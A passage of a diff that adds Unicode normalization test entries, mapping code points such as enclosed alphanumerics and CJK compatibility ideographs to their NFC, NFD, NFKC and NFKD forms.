+{ source: [0x1EE98], NFC: [0x1EE98], NFD: [0x1EE98], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0x1EE99], NFC: [0x1EE99], NFD: [0x1EE99], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE9A], NFC: [0x1EE9A], NFD: [0x1EE9A], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0x1EE9B], NFC: [0x1EE9B], NFD: [0x1EE9B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EEA1], NFC: [0x1EEA1], NFD: [0x1EEA1], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EEA2], NFC: [0x1EEA2], NFD: [0x1EEA2], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EEA3], NFC: [0x1EEA3], NFD: [0x1EEA3], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0x1EEA5], NFC: [0x1EEA5], NFD: [0x1EEA5], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0x1EEA6], NFC: [0x1EEA6], NFD: [0x1EEA6], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0x1EEA7], NFC: [0x1EEA7], NFD: [0x1EEA7], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EEA8], NFC: [0x1EEA8], NFD: [0x1EEA8], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0x1EEA9], NFC: [0x1EEA9], NFD: [0x1EEA9], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EEAB], NFC: [0x1EEAB], NFD: [0x1EEAB], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EEAC], NFC: [0x1EEAC], NFD: [0x1EEAC], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EEAD], NFC: [0x1EEAD], NFD: [0x1EEAD], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EEAE], NFC: [0x1EEAE], NFD: [0x1EEAE], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EEAF], NFC: [0x1EEAF], NFD: [0x1EEAF], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EEB0], NFC: [0x1EEB0], NFD: [0x1EEB0], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EEB1], NFC: [0x1EEB1], NFD: [0x1EEB1], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EEB2], NFC: [0x1EEB2], NFD: [0x1EEB2], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EEB3], NFC: [0x1EEB3], NFD: [0x1EEB3], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0x1EEB4], NFC: [0x1EEB4], NFD: [0x1EEB4], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EEB5], NFC: [0x1EEB5], NFD: [0x1EEB5], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EEB6], NFC: [0x1EEB6], NFD: [0x1EEB6], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EEB7], NFC: [0x1EEB7], NFD: [0x1EEB7], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EEB8], NFC: [0x1EEB8], NFD: [0x1EEB8], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0x1EEB9], NFC: [0x1EEB9], NFD: [0x1EEB9], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EEBA], NFC: [0x1EEBA], NFD: [0x1EEBA], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0x1EEBB], NFC: [0x1EEBB], NFD: [0x1EEBB], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1F100], NFC: [0x1F100], NFD: [0x1F100], NFKC: [0x0030, 0x002E], NFKD: [0x0030, 0x002E] },
+{ source: [0x1F101], NFC: [0x1F101], NFD: [0x1F101], NFKC: [0x0030, 0x002C], NFKD: [0x0030, 0x002C] },
+{ source: [0x1F102], NFC: [0x1F102], NFD: [0x1F102], NFKC: [0x0031, 0x002C], NFKD: [0x0031, 0x002C] },
+{ source: [0x1F103], NFC: [0x1F103], NFD: [0x1F103], NFKC: [0x0032, 0x002C], NFKD: [0x0032, 0x002C] },
+{ source: [0x1F104], NFC: [0x1F104], NFD: [0x1F104], NFKC: [0x0033, 0x002C], NFKD: [0x0033, 0x002C] },
+{ source: [0x1F105], NFC: [0x1F105], NFD: [0x1F105], NFKC: [0x0034, 0x002C], NFKD: [0x0034, 0x002C] },
+{ source: [0x1F106], NFC: [0x1F106], NFD: [0x1F106], NFKC: [0x0035, 0x002C], NFKD: [0x0035, 0x002C] },
+{ source: [0x1F107], NFC: [0x1F107], NFD: [0x1F107], NFKC: [0x0036, 0x002C], NFKD: [0x0036, 0x002C] },
+{ source: [0x1F108], NFC: [0x1F108], NFD: [0x1F108], NFKC: [0x0037, 0x002C], NFKD: [0x0037, 0x002C] },
+{ source: [0x1F109], NFC: [0x1F109], NFD: [0x1F109], NFKC: [0x0038, 0x002C], NFKD: [0x0038, 0x002C] },
+{ source: [0x1F10A], NFC: [0x1F10A], NFD: [0x1F10A], NFKC: [0x0039, 0x002C], NFKD: [0x0039, 0x002C] },
+{ source: [0x1F110], NFC: [0x1F110], NFD: [0x1F110], NFKC: [0x0028, 0x0041, 0x0029], NFKD: [0x0028, 0x0041, 0x0029] },
+{ source: [0x1F111], NFC: [0x1F111], NFD: [0x1F111], NFKC: [0x0028, 0x0042, 0x0029], NFKD: [0x0028, 0x0042, 0x0029] },
+{ source: [0x1F112], NFC: [0x1F112], NFD: [0x1F112], NFKC: [0x0028, 0x0043, 0x0029], NFKD: [0x0028, 0x0043, 0x0029] },
+{ source: [0x1F113], NFC: [0x1F113], NFD: [0x1F113], NFKC: [0x0028, 0x0044, 0x0029], NFKD: [0x0028, 0x0044, 0x0029] },
+{ source: [0x1F114], NFC: [0x1F114], NFD: [0x1F114], NFKC: [0x0028, 0x0045, 0x0029], NFKD: [0x0028, 0x0045, 0x0029] },
+{ source: [0x1F115], NFC: [0x1F115], NFD: [0x1F115], NFKC: [0x0028, 0x0046, 0x0029], NFKD: [0x0028, 0x0046, 0x0029] },
+{ source: [0x1F116], NFC: [0x1F116], NFD: [0x1F116], NFKC: [0x0028, 0x0047, 0x0029], NFKD: [0x0028, 0x0047, 0x0029] },
+{ source: [0x1F117], NFC: [0x1F117], NFD: [0x1F117], NFKC: [0x0028, 0x0048, 0x0029], NFKD: [0x0028, 0x0048, 0x0029] },
+{ source: [0x1F118], NFC: [0x1F118], NFD: [0x1F118], NFKC: [0x0028, 0x0049, 0x0029], NFKD: [0x0028, 0x0049, 0x0029] },
+{ source: [0x1F119], NFC: [0x1F119], NFD: [0x1F119], NFKC: [0x0028, 0x004A, 0x0029], NFKD: [0x0028, 0x004A, 0x0029] },
+{ source: [0x1F11A], NFC: [0x1F11A], NFD: [0x1F11A], NFKC: [0x0028, 0x004B, 0x0029], NFKD: [0x0028, 0x004B, 0x0029] },
+{ source: [0x1F11B], NFC: [0x1F11B], NFD: [0x1F11B], NFKC: [0x0028, 0x004C, 0x0029], NFKD: [0x0028, 0x004C, 0x0029] },
+{ source: [0x1F11C], NFC: [0x1F11C], NFD: [0x1F11C], NFKC: [0x0028, 0x004D, 0x0029], NFKD: [0x0028, 0x004D, 0x0029] },
+{ source: [0x1F11D], NFC: [0x1F11D], NFD: [0x1F11D], NFKC: [0x0028, 0x004E, 0x0029], NFKD: [0x0028, 0x004E, 0x0029] },
+{ source: [0x1F11E], NFC: [0x1F11E], NFD: [0x1F11E], NFKC: [0x0028, 0x004F, 0x0029], NFKD: [0x0028, 0x004F, 0x0029] },
+{ source: [0x1F11F], NFC: [0x1F11F], NFD: [0x1F11F], NFKC: [0x0028, 0x0050, 0x0029], NFKD: [0x0028, 0x0050, 0x0029] },
+{ source: [0x1F120], NFC: [0x1F120], NFD: [0x1F120], NFKC: [0x0028, 0x0051, 0x0029], NFKD: [0x0028, 0x0051, 0x0029] },
+{ source: [0x1F121], NFC: [0x1F121], NFD: [0x1F121], NFKC: [0x0028, 0x0052, 0x0029], NFKD: [0x0028, 0x0052, 0x0029] },
+{ source: [0x1F122], NFC: [0x1F122], NFD: [0x1F122], NFKC: [0x0028, 0x0053, 0x0029], NFKD: [0x0028, 0x0053, 0x0029] },
+{ source: [0x1F123], NFC: [0x1F123], NFD: [0x1F123], NFKC: [0x0028, 0x0054, 0x0029], NFKD: [0x0028, 0x0054, 0x0029] },
+{ source: [0x1F124], NFC: [0x1F124], NFD: [0x1F124], NFKC: [0x0028, 0x0055, 0x0029], NFKD: [0x0028, 0x0055, 0x0029] },
+{ source: [0x1F125], NFC: [0x1F125], NFD: [0x1F125], NFKC: [0x0028, 0x0056, 0x0029], NFKD: [0x0028, 0x0056, 0x0029] },
+{ source: [0x1F126], NFC: [0x1F126], NFD: [0x1F126], NFKC: [0x0028, 0x0057, 0x0029], NFKD: [0x0028, 0x0057, 0x0029] },
+{ source: [0x1F127], NFC: [0x1F127], NFD: [0x1F127], NFKC: [0x0028, 0x0058, 0x0029], NFKD: [0x0028, 0x0058, 0x0029] },
+{ source: [0x1F128], NFC: [0x1F128], NFD: [0x1F128], NFKC: [0x0028, 0x0059, 0x0029], NFKD: [0x0028, 0x0059, 0x0029] },
+{ source: [0x1F129], NFC: [0x1F129], NFD: [0x1F129], NFKC: [0x0028, 0x005A, 0x0029], NFKD: [0x0028, 0x005A, 0x0029] },
+{ source: [0x1F12A], NFC: [0x1F12A], NFD: [0x1F12A], NFKC: [0x3014, 0x0053, 0x3015], NFKD: [0x3014, 0x0053, 0x3015] },
+{ source: [0x1F12B], NFC: [0x1F12B], NFD: [0x1F12B], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1F12C], NFC: [0x1F12C], NFD: [0x1F12C], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1F12D], NFC: [0x1F12D], NFD: [0x1F12D], NFKC: [0x0043, 0x0044], NFKD: [0x0043, 0x0044] },
+{ source: [0x1F12E], NFC: [0x1F12E], NFD: [0x1F12E], NFKC: [0x0057, 0x005A], NFKD: [0x0057, 0x005A] },
+{ source: [0x1F130], NFC: [0x1F130], NFD: [0x1F130], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1F131], NFC: [0x1F131], NFD: [0x1F131], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1F132], NFC: [0x1F132], NFD: [0x1F132], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1F133], NFC: [0x1F133], NFD: [0x1F133], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1F134], NFC: [0x1F134], NFD: [0x1F134], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1F135], NFC: [0x1F135], NFD: [0x1F135], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1F136], NFC: [0x1F136], NFD: [0x1F136], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1F137], NFC: [0x1F137], NFD: [0x1F137], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1F138], NFC: [0x1F138], NFD: [0x1F138], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1F139], NFC: [0x1F139], NFD: [0x1F139], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1F13A], NFC: [0x1F13A], NFD: [0x1F13A], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1F13B], NFC: [0x1F13B], NFD: [0x1F13B], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1F13C], NFC: [0x1F13C], NFD: [0x1F13C], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1F13D], NFC: [0x1F13D], NFD: [0x1F13D], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1F13E], NFC: [0x1F13E], NFD: [0x1F13E], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1F13F], NFC: [0x1F13F], NFD: [0x1F13F], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1F140], NFC: [0x1F140], NFD: [0x1F140], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1F141], NFC: [0x1F141], NFD: [0x1F141], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1F142], NFC: [0x1F142], NFD: [0x1F142], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1F143], NFC: [0x1F143], NFD: [0x1F143], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1F144], NFC: [0x1F144], NFD: [0x1F144], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1F145], NFC: [0x1F145], NFD: [0x1F145], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1F146], NFC: [0x1F146], NFD: [0x1F146], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1F147], NFC: [0x1F147], NFD: [0x1F147], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1F148], NFC: [0x1F148], NFD: [0x1F148], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1F149], NFC: [0x1F149], NFD: [0x1F149], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1F14A], NFC: [0x1F14A], NFD: [0x1F14A], NFKC: [0x0048, 0x0056], NFKD: [0x0048, 0x0056] },
+{ source: [0x1F14B], NFC: [0x1F14B], NFD: [0x1F14B], NFKC: [0x004D, 0x0056], NFKD: [0x004D, 0x0056] },
+{ source: [0x1F14C], NFC: [0x1F14C], NFD: [0x1F14C], NFKC: [0x0053, 0x0044], NFKD: [0x0053, 0x0044] },
+{ source: [0x1F14D], NFC: [0x1F14D], NFD: [0x1F14D], NFKC: [0x0053, 0x0053], NFKD: [0x0053, 0x0053] },
+{ source: [0x1F14E], NFC: [0x1F14E], NFD: [0x1F14E], NFKC: [0x0050, 0x0050, 0x0056], NFKD: [0x0050, 0x0050, 0x0056] },
+{ source: [0x1F14F], NFC: [0x1F14F], NFD: [0x1F14F], NFKC: [0x0057, 0x0043], NFKD: [0x0057, 0x0043] },
+{ source: [0x1F16A], NFC: [0x1F16A], NFD: [0x1F16A], NFKC: [0x004D, 0x0043], NFKD: [0x004D, 0x0043] },
+{ source: [0x1F16B], NFC: [0x1F16B], NFD: [0x1F16B], NFKC: [0x004D, 0x0044], NFKD: [0x004D, 0x0044] },
+{ source: [0x1F190], NFC: [0x1F190], NFD: [0x1F190], NFKC: [0x0044, 0x004A], NFKD: [0x0044, 0x004A] },
+{ source: [0x1F200], NFC: [0x1F200], NFD: [0x1F200], NFKC: [0x307B, 0x304B], NFKD: [0x307B, 0x304B] },
+{ source: [0x1F201], NFC: [0x1F201], NFD: [0x1F201], NFKC: [0x30B3, 0x30B3], NFKD: [0x30B3, 0x30B3] },
+{ source: [0x1F202], NFC: [0x1F202], NFD: [0x1F202], NFKC: [0x30B5], NFKD: [0x30B5] },
+{ source: [0x1F210], NFC: [0x1F210], NFD: [0x1F210], NFKC: [0x624B], NFKD: [0x624B] },
+{ source: [0x1F211], NFC: [0x1F211], NFD: [0x1F211], NFKC: [0x5B57], NFKD: [0x5B57] },
+{ source: [0x1F212], NFC: [0x1F212], NFD: [0x1F212], NFKC: [0x53CC], NFKD: [0x53CC] },
+{ source: [0x1F213], NFC: [0x1F213], NFD: [0x1F213], NFKC: [0x30C7], NFKD: [0x30C6, 0x3099] },
+{ source: [0x1F214], NFC: [0x1F214], NFD: [0x1F214], NFKC: [0x4E8C], NFKD: [0x4E8C] },
+{ source: [0x1F215], NFC: [0x1F215], NFD: [0x1F215], NFKC: [0x591A], NFKD: [0x591A] },
+{ source: [0x1F216], NFC: [0x1F216], NFD: [0x1F216], NFKC: [0x89E3], NFKD: [0x89E3] },
+{ source: [0x1F217], NFC: [0x1F217], NFD: [0x1F217], NFKC: [0x5929], NFKD: [0x5929] },
+{ source: [0x1F218], NFC: [0x1F218], NFD: [0x1F218], NFKC: [0x4EA4], NFKD: [0x4EA4] },
+{ source: [0x1F219], NFC: [0x1F219], NFD: [0x1F219], NFKC: [0x6620], NFKD: [0x6620] },
+{ source: [0x1F21A], NFC: [0x1F21A], NFD: [0x1F21A], NFKC: [0x7121], NFKD: [0x7121] },
+{ source: [0x1F21B], NFC: [0x1F21B], NFD: [0x1F21B], NFKC: [0x6599], NFKD: [0x6599] },
+{ source: [0x1F21C], NFC: [0x1F21C], NFD: [0x1F21C], NFKC: [0x524D], NFKD: [0x524D] },
+{ source: [0x1F21D], NFC: [0x1F21D], NFD: [0x1F21D], NFKC: [0x5F8C], NFKD: [0x5F8C] },
+{ source: [0x1F21E], NFC: [0x1F21E], NFD: [0x1F21E], NFKC: [0x518D], NFKD: [0x518D] },
+{ source: [0x1F21F], NFC: [0x1F21F], NFD: [0x1F21F], NFKC: [0x65B0], NFKD: [0x65B0] },
+{ source: [0x1F220], NFC: [0x1F220], NFD: [0x1F220], NFKC: [0x521D], NFKD: [0x521D] },
+{ source: [0x1F221], NFC: [0x1F221], NFD: [0x1F221], NFKC: [0x7D42], NFKD: [0x7D42] },
+{ source: [0x1F222], NFC: [0x1F222], NFD: [0x1F222], NFKC: [0x751F], NFKD: [0x751F] },
+{ source: [0x1F223], NFC: [0x1F223], NFD: [0x1F223], NFKC: [0x8CA9], NFKD: [0x8CA9] },
+{ source: [0x1F224], NFC: [0x1F224], NFD: [0x1F224], NFKC: [0x58F0], NFKD: [0x58F0] },
+{ source: [0x1F225], NFC: [0x1F225], NFD: [0x1F225], NFKC: [0x5439], NFKD: [0x5439] },
+{ source: [0x1F226], NFC: [0x1F226], NFD: [0x1F226], NFKC: [0x6F14], NFKD: [0x6F14] },
+{ source: [0x1F227], NFC: [0x1F227], NFD: [0x1F227], NFKC: [0x6295], NFKD: [0x6295] },
+{ source: [0x1F228], NFC: [0x1F228], NFD: [0x1F228], NFKC: [0x6355], NFKD: [0x6355] },
+{ source: [0x1F229], NFC: [0x1F229], NFD: [0x1F229], NFKC: [0x4E00], NFKD: [0x4E00] },
+{ source: [0x1F22A], NFC: [0x1F22A], NFD: [0x1F22A], NFKC: [0x4E09], NFKD: [0x4E09] },
+{ source: [0x1F22B], NFC: [0x1F22B], NFD: [0x1F22B], NFKC: [0x904A], NFKD: [0x904A] },
+{ source: [0x1F22C], NFC: [0x1F22C], NFD: [0x1F22C], NFKC: [0x5DE6], NFKD: [0x5DE6] },
+{ source: [0x1F22D], NFC: [0x1F22D], NFD: [0x1F22D], NFKC: [0x4E2D], NFKD: [0x4E2D] },
+{ source: [0x1F22E], NFC: [0x1F22E], NFD: [0x1F22E], NFKC: [0x53F3], NFKD: [0x53F3] },
+{ source: [0x1F22F], NFC: [0x1F22F], NFD: [0x1F22F], NFKC: [0x6307], NFKD: [0x6307] },
+{ source: [0x1F230], NFC: [0x1F230], NFD: [0x1F230], NFKC: [0x8D70], NFKD: [0x8D70] },
+{ source: [0x1F231], NFC: [0x1F231], NFD: [0x1F231], NFKC: [0x6253], NFKD: [0x6253] },
+{ source: [0x1F232], NFC: [0x1F232], NFD: [0x1F232], NFKC: [0x7981], NFKD: [0x7981] },
+{ source: [0x1F233], NFC: [0x1F233], NFD: [0x1F233], NFKC: [0x7A7A], NFKD: [0x7A7A] },
+{ source: [0x1F234], NFC: [0x1F234], NFD: [0x1F234], NFKC: [0x5408], NFKD: [0x5408] },
+{ source: [0x1F235], NFC: [0x1F235], NFD: [0x1F235], NFKC: [0x6E80], NFKD: [0x6E80] },
+{ source: [0x1F236], NFC: [0x1F236], NFD: [0x1F236], NFKC: [0x6709], NFKD: [0x6709] },
+{ source: [0x1F237], NFC: [0x1F237], NFD: [0x1F237], NFKC: [0x6708], NFKD: [0x6708] },
+{ source: [0x1F238], NFC: [0x1F238], NFD: [0x1F238], NFKC: [0x7533], NFKD: [0x7533] },
+{ source: [0x1F239], NFC: [0x1F239], NFD: [0x1F239], NFKC: [0x5272], NFKD: [0x5272] },
+{ source: [0x1F23A], NFC: [0x1F23A], NFD: [0x1F23A], NFKC: [0x55B6], NFKD: [0x55B6] },
+{ source: [0x1F23B], NFC: [0x1F23B], NFD: [0x1F23B], NFKC: [0x914D], NFKD: [0x914D] },
+{ source: [0x1F240], NFC: [0x1F240], NFD: [0x1F240], NFKC: [0x3014, 0x672C, 0x3015], NFKD: [0x3014, 0x672C, 0x3015] },
+{ source: [0x1F241], NFC: [0x1F241], NFD: [0x1F241], NFKC: [0x3014, 0x4E09, 0x3015], NFKD: [0x3014, 0x4E09, 0x3015] },
+{ source: [0x1F242], NFC: [0x1F242], NFD: [0x1F242], NFKC: [0x3014, 0x4E8C, 0x3015], NFKD: [0x3014, 0x4E8C, 0x3015] },
+{ source: [0x1F243], NFC: [0x1F243], NFD: [0x1F243], NFKC: [0x3014, 0x5B89, 0x3015], NFKD: [0x3014, 0x5B89, 0x3015] },
+{ source: [0x1F244], NFC: [0x1F244], NFD: [0x1F244], NFKC: [0x3014, 0x70B9, 0x3015], NFKD: [0x3014, 0x70B9, 0x3015] },
+{ source: [0x1F245], NFC: [0x1F245], NFD: [0x1F245], NFKC: [0x3014, 0x6253, 0x3015], NFKD: [0x3014, 0x6253, 0x3015] },
+{ source: [0x1F246], NFC: [0x1F246], NFD: [0x1F246], NFKC: [0x3014, 0x76D7, 0x3015], NFKD: [0x3014, 0x76D7, 0x3015] },
+{ source: [0x1F247], NFC: [0x1F247], NFD: [0x1F247], NFKC: [0x3014, 0x52DD, 0x3015], NFKD: [0x3014, 0x52DD, 0x3015] },
+{ source: [0x1F248], NFC: [0x1F248], NFD: [0x1F248], NFKC: [0x3014, 0x6557, 0x3015], NFKD: [0x3014, 0x6557, 0x3015] },
+{ source: [0x1F250], NFC: [0x1F250], NFD: [0x1F250], NFKC: [0x5F97], NFKD: [0x5F97] },
+{ source: [0x1F251], NFC: [0x1F251], NFD: [0x1F251], NFKC: [0x53EF], NFKD: [0x53EF] },
+{ source: [0x2F800], NFC: [0x4E3D], NFD: [0x4E3D], NFKC: [0x4E3D], NFKD: [0x4E3D] },
+{ source: [0x2F801], NFC: [0x4E38], NFD: [0x4E38], NFKC: [0x4E38], NFKD: [0x4E38] },
+{ source: [0x2F802], NFC: [0x4E41], NFD: [0x4E41], NFKC: [0x4E41], NFKD: [0x4E41] },
+{ source: [0x2F803], NFC: [0x20122], NFD: [0x20122], NFKC: [0x20122], NFKD: [0x20122] },
+{ source: [0x2F804], NFC: [0x4F60], NFD: [0x4F60], NFKC: [0x4F60], NFKD: [0x4F60] },
+{ source: [0x2F805], NFC: [0x4FAE], NFD: [0x4FAE], NFKC: [0x4FAE], NFKD: [0x4FAE] },
+{ source: [0x2F806], NFC: [0x4FBB], NFD: [0x4FBB], NFKC: [0x4FBB], NFKD: [0x4FBB] },
+{ source: [0x2F807], NFC: [0x5002], NFD: [0x5002], NFKC: [0x5002], NFKD: [0x5002] },
+{ source: [0x2F808], NFC: [0x507A], NFD: [0x507A], NFKC: [0x507A], NFKD: [0x507A] },
+{ source: [0x2F809], NFC: [0x5099], NFD: [0x5099], NFKC: [0x5099], NFKD: [0x5099] },
+{ source: [0x2F80A], NFC: [0x50E7], NFD: [0x50E7], NFKC: [0x50E7], NFKD: [0x50E7] },
+{ source: [0x2F80B], NFC: [0x50CF], NFD: [0x50CF], NFKC: [0x50CF], NFKD: [0x50CF] },
+{ source: [0x2F80C], NFC: [0x349E], NFD: [0x349E], NFKC: [0x349E], NFKD: [0x349E] },
+{ source: [0x2F80D], NFC: [0x2063A], NFD: [0x2063A], NFKC: [0x2063A], NFKD: [0x2063A] },
+{ source: [0x2F80E], NFC: [0x514D], NFD: [0x514D], NFKC: [0x514D], NFKD: [0x514D] },
+{ source: [0x2F80F], NFC: [0x5154], NFD: [0x5154], NFKC: [0x5154], NFKD: [0x5154] },
+{ source: [0x2F810], NFC: [0x5164], NFD: [0x5164], NFKC: [0x5164], NFKD: [0x5164] },
+{ source: [0x2F811], NFC: [0x5177], NFD: [0x5177], NFKC: [0x5177], NFKD: [0x5177] },
+{ source: [0x2F812], NFC: [0x2051C], NFD: [0x2051C], NFKC: [0x2051C], NFKD: [0x2051C] },
+{ source: [0x2F813], NFC: [0x34B9], NFD: [0x34B9], NFKC: [0x34B9], NFKD: [0x34B9] },
+{ source: [0x2F814], NFC: [0x5167], NFD: [0x5167], NFKC: [0x5167], NFKD: [0x5167] },
+{ source: [0x2F815], NFC: [0x518D], NFD: [0x518D], NFKC: [0x518D], NFKD: [0x518D] },
+{ source: [0x2F816], NFC: [0x2054B], NFD: [0x2054B], NFKC: [0x2054B], NFKD: [0x2054B] },
+{ source: [0x2F817], NFC: [0x5197], NFD: [0x5197], NFKC: [0x5197], NFKD: [0x5197] },
+{ source: [0x2F818], NFC: [0x51A4], NFD: [0x51A4], NFKC: [0x51A4], NFKD: [0x51A4] },
+{ source: [0x2F819], NFC: [0x4ECC], NFD: [0x4ECC], NFKC: [0x4ECC], NFKD: [0x4ECC] },
+{ source: [0x2F81A], NFC: [0x51AC], NFD: [0x51AC], NFKC: [0x51AC], NFKD: [0x51AC] },
+{ source: [0x2F81B], NFC: [0x51B5], NFD: [0x51B5], NFKC: [0x51B5], NFKD: [0x51B5] },
+{ source: [0x2F81C], NFC: [0x291DF], NFD: [0x291DF], NFKC: [0x291DF], NFKD: [0x291DF] },
+{ source: [0x2F81D], NFC: [0x51F5], NFD: [0x51F5], NFKC: [0x51F5], NFKD: [0x51F5] },
+{ source: [0x2F81E], NFC: [0x5203], NFD: [0x5203], NFKC: [0x5203], NFKD: [0x5203] },
+{ source: [0x2F81F], NFC: [0x34DF], NFD: [0x34DF], NFKC: [0x34DF], NFKD: [0x34DF] },
+{ source: [0x2F820], NFC: [0x523B], NFD: [0x523B], NFKC: [0x523B], NFKD: [0x523B] },
+{ source: [0x2F821], NFC: [0x5246], NFD: [0x5246], NFKC: [0x5246], NFKD: [0x5246] },
+{ source: [0x2F822], NFC: [0x5272], NFD: [0x5272], NFKC: [0x5272], NFKD: [0x5272] },
+{ source: [0x2F823], NFC: [0x5277], NFD: [0x5277], NFKC: [0x5277], NFKD: [0x5277] },
+{ source: [0x2F824], NFC: [0x3515], NFD: [0x3515], NFKC: [0x3515], NFKD: [0x3515] },
+{ source: [0x2F825], NFC: [0x52C7], NFD: [0x52C7], NFKC: [0x52C7], NFKD: [0x52C7] },
+{ source: [0x2F826], NFC: [0x52C9], NFD: [0x52C9], NFKC: [0x52C9], NFKD: [0x52C9] },
+{ source: [0x2F827], NFC: [0x52E4], NFD: [0x52E4], NFKC: [0x52E4], NFKD: [0x52E4] },
+{ source: [0x2F828], NFC: [0x52FA], NFD: [0x52FA], NFKC: [0x52FA], NFKD: [0x52FA] },
+{ source: [0x2F829], NFC: [0x5305], NFD: [0x5305], NFKC: [0x5305], NFKD: [0x5305] },
+{ source: [0x2F82A], NFC: [0x5306], NFD: [0x5306], NFKC: [0x5306], NFKD: [0x5306] },
+{ source: [0x2F82B], NFC: [0x5317], NFD: [0x5317], NFKC: [0x5317], NFKD: [0x5317] },
+{ source: [0x2F82C], NFC: [0x5349], NFD: [0x5349], NFKC: [0x5349], NFKD: [0x5349] },
+{ source: [0x2F82D], NFC: [0x5351], NFD: [0x5351], NFKC: [0x5351], NFKD: [0x5351] },
+{ source: [0x2F82E], NFC: [0x535A], NFD: [0x535A], NFKC: [0x535A], NFKD: [0x535A] },
+{ source: [0x2F82F], NFC: [0x5373], NFD: [0x5373], NFKC: [0x5373], NFKD: [0x5373] },
+{ source: [0x2F830], NFC: [0x537D], NFD: [0x537D], NFKC: [0x537D], NFKD: [0x537D] },
+{ source: [0x2F831], NFC: [0x537F], NFD: [0x537F], NFKC: [0x537F], NFKD: [0x537F] },
+{ source: [0x2F832], NFC: [0x537F], NFD: [0x537F], NFKC: [0x537F], NFKD: [0x537F] },
+{ source: [0x2F833], NFC: [0x537F], NFD: [0x537F], NFKC: [0x537F], NFKD: [0x537F] },
+{ source: [0x2F834], NFC: [0x20A2C], NFD: [0x20A2C], NFKC: [0x20A2C], NFKD: [0x20A2C] },
+{ source: [0x2F835], NFC: [0x7070], NFD: [0x7070], NFKC: [0x7070], NFKD: [0x7070] },
+{ source: [0x2F836], NFC: [0x53CA], NFD: [0x53CA], NFKC: [0x53CA], NFKD: [0x53CA] },
+{ source: [0x2F837], NFC: [0x53DF], NFD: [0x53DF], NFKC: [0x53DF], NFKD: [0x53DF] },
+{ source: [0x2F838], NFC: [0x20B63], NFD: [0x20B63], NFKC: [0x20B63], NFKD: [0x20B63] },
+{ source: [0x2F839], NFC: [0x53EB], NFD: [0x53EB], NFKC: [0x53EB], NFKD: [0x53EB] },
+{ source: [0x2F83A], NFC: [0x53F1], NFD: [0x53F1], NFKC: [0x53F1], NFKD: [0x53F1] },
+{ source: [0x2F83B], NFC: [0x5406], NFD: [0x5406], NFKC: [0x5406], NFKD: [0x5406] },
+{ source: [0x2F83C], NFC: [0x549E], NFD: [0x549E], NFKC: [0x549E], NFKD: [0x549E] },
+{ source: [0x2F83D], NFC: [0x5438], NFD: [0x5438], NFKC: [0x5438], NFKD: [0x5438] },
+{ source: [0x2F83E], NFC: [0x5448], NFD: [0x5448], NFKC: [0x5448], NFKD: [0x5448] },
+{ source: [0x2F83F], NFC: [0x5468], NFD: [0x5468], NFKC: [0x5468], NFKD: [0x5468] },
+{ source: [0x2F840], NFC: [0x54A2], NFD: [0x54A2], NFKC: [0x54A2], NFKD: [0x54A2] },
+{ source: [0x2F841], NFC: [0x54F6], NFD: [0x54F6], NFKC: [0x54F6], NFKD: [0x54F6] },
+{ source: [0x2F842], NFC: [0x5510], NFD: [0x5510], NFKC: [0x5510], NFKD: [0x5510] },
